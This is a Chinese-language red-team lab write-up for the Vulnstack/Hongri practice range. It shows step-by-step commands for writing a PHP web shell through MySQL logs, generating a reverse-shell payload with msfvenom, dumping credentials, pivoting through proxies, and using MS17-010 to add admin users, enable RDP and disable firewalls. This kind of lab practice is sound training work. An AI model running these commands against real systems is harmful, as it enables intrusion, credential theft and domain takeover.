前言

该靶场是红日安全团队推出的红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。
拓扑图如下:

靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

环境搭建

文件下载下来有三个压缩包,分别对应域中三台主机;

  • VM1对应Win7是Web服务器
  • VM2对应Windows2003是域成员
  • VM3对应Windows Server 2008是域控

解压后双击各文件夹中的.vmx文件即可一键创建虚拟机,登录密码都为hongrisec@2019,2003和2008输入密码后会强制要求改密码;

接着配置网络:
win7网络适配器设置为自定义(VMnet1仅主机模式),再添加一个网络适配器设置为NAT模式;

Windows2003、Windows Server 2008网络适配器设置为自定义(VMnet1仅主机模式);
攻击机kali设置为NAT模式;
此时Win7、Windows2003、Windows Server 2008处于同一内网中,攻击机kali只能先拿下win7,再通过win7访问内网进行横向渗透;

  • Kali:192.168.2.129
  • Win7:外网192.168.2.133 内网193.168.52.143
  • Windows2003:192.168.52.141
  • Windows Server 2008:192.168.52.138

在win7上测试一下,能ping通kali和Windows2003、Windows Server 2008:

kali无法ping通win7,因为win7开了防火墙,更无法ping通内网中的2003和2008;

开启win7的phpstudy;

外网渗透

信息收集1

nmap扫一下,找到win7的IP地址为192.168.2.133;

继续扫一下win7开放了哪些端口;

访问80端口,是一个php探针页面,可以看到网站根目录绝对路径是C:/phpStudy/WWW

扫描一下网站目录,有phpmyadmin目录;

通过phpmyadmin getshell

访问,弱口令root/root可以登录;

尝试用sql语句写文件,结果因为MySQL服务器使用--secure file priv选项运行,所以无法执行此语句;

试试看能不能通过日志文件来写shell,执行show variables like '%general%';查看一下日志状态;

日志功能是关闭的,开启后,执行过的sql语句都会保存到stu1.log,我们可以修改保存路径,存到我们指定的文件中;
先开启日志功能set global general_log=on;

修改日志保存路径为C:/phpStudy/WWW/shell.phpset global general_log_file='C:/phpStudy/WWW/shell.php'

查询一句话木马SELECT '<?php eval($_POST["cmd"]);?>',这样shell就成功写入shell.php了;

用菜刀连接(我蚁剑连不上);

接下来看看有没有什么有用信息;
whoami一看是管理员账号;

ipconfig发现还有另一个网段,可知内网网段为192.168.52.x

net config Workstation查看当前计算机名称,全名,用户名,以及所在的工作站域等信息;

net localgroup administrators查看本地管理员,发现还有另一台用户;

systeminfo查看系统信息,可以确定当前域为god.org,域服务器名称为OWA,并且还打了四个补丁;

反弹shell

由于win7启动了安全模式,所以无法直接反弹shell到kali上;
通过msf生成一个木马msf.exe到win7上(-f 输出格式,-o 输出地址);
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=4444 -f exe -o msf.exe

使用exploit/multi/handler模块开启msf监听;

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.129 (kali IP)
set lport 4444 (监听的端口)
run

在win7虚拟终端上运行msf.exe,kali接受到反弹回来的shell成功建立会话;

接着getuid查看一下当前权限,然后getsystem提为system权限;(忘截图了)
提权成功,发现没有开启3389端口,执行run post/windows/manage/enable_rdp开启3389端口;(忘截图了)
netstat查看一下,3389端口已开启;

rdesktop 192.168.2.133连接成功;

抓取密码

使用meterpreter中mimikatz模块获取密码,现在已经是system权限,load mimikatz加载;

说是mimikatz被kiwi替代,后面就只能用kiwi的命令;

creds_msv    获取密码hash值
creds_kerberos    获取密码明文

成功抓取到登录密码;

进入内网

信息收集2

run post/windows/gather/enum_applications查看win7上安装了哪些软件;

arp -a查看路由表,可以看到另一个网段192.168.52.0/24,还有另外两台主机;

run autoroute -s 192.168.52.0/24添加录路由;
run autoroute -p查看路由;

设置代理,方便访问内网服务;

use auxiliary/server/socks4a
 set srvhost 192.168.2.129
 set srvport 1080
 run

然后修改vim /etc/proxychains.conf的最后一行为socks4 192.168.2.129 1080

proxychains curl http://192.168.52.143/试一试能否访问内网IP;

能成功访问,接下来扫一下另外两台主机开启了哪些端口,使用auxiliary/scanner/portscan/tcp模块;

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set threads 100
run

其实前面扫出了win7上安装了nmap,用直接用nmap扫我觉得还比较快;

可以看到两台主机都开了135、445端口,说明都有SMB服务;

拿下域成员

使用auxiliary/scanner/smb/smb_version扫描系统版本,是Windows2003版本;

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.141
run

验证发现存在永恒之蓝漏洞;

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run

search ms17_010

exploit/windows/smb/ms17_010_eternalblue打不了,但是可以使用
auxiliary/admin/smb/ms17_010_command模块执行命令;

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

set command net user blckder02 8888! /add添加用户;
set command net localgroup administrators blckder02 /add添加管理员权限;
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'执行命令开启3389端口,这里要么用单引号把命令引住,要么用反斜杠对反斜杠和引号进行转义,否则会出错;

proxychains rdesktop 192.168.52.141远程桌面连接成功,可以用添加的用户进行登录;

使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell;

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run

接下来就可以和前面一样getsystem进行提权,这样域成员就已经拿下了;

拿域控

因为192.168.52.138这台主机也同样开了135,445端口,所以同样使用auxiliary/scanner/smb/smb_version扫描系统版本,是Windows server 2008版本;

接下来和拿2003主机一样的操作,依然可以用auxiliary/admin/smb/ms17_010_command模块执行命令;
开启3389端口:set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
但是连接超时,可能是因为开启了防火墙,执行命令set command netsh firewall set opmode mode=disable关闭防火墙;

成功连接,可以用前面抓取到的管理员账号密码登录:

照样用exploit/windows/smb/ms17_010_psexec反弹一个shell;

渗透完毕;

思路总结

从web服务器寻找可以getshell的利用点,win7上有phpmyadmin目录,并且是默认密码可以登录;
利用日志文件写入一句话,菜刀连接,收集有用信息;
msf反弹shell,提权,抓取密码,arp发现内网;
添加路由,设置代理,访问内网资源;
扫描开放端口,利用445端口SMB服务,ms17_010对域成员和域控主机进行攻击;
关闭防火墙,开启3389,反弹shell

点击收藏 | 6 关注 | 2
登录 后跟帖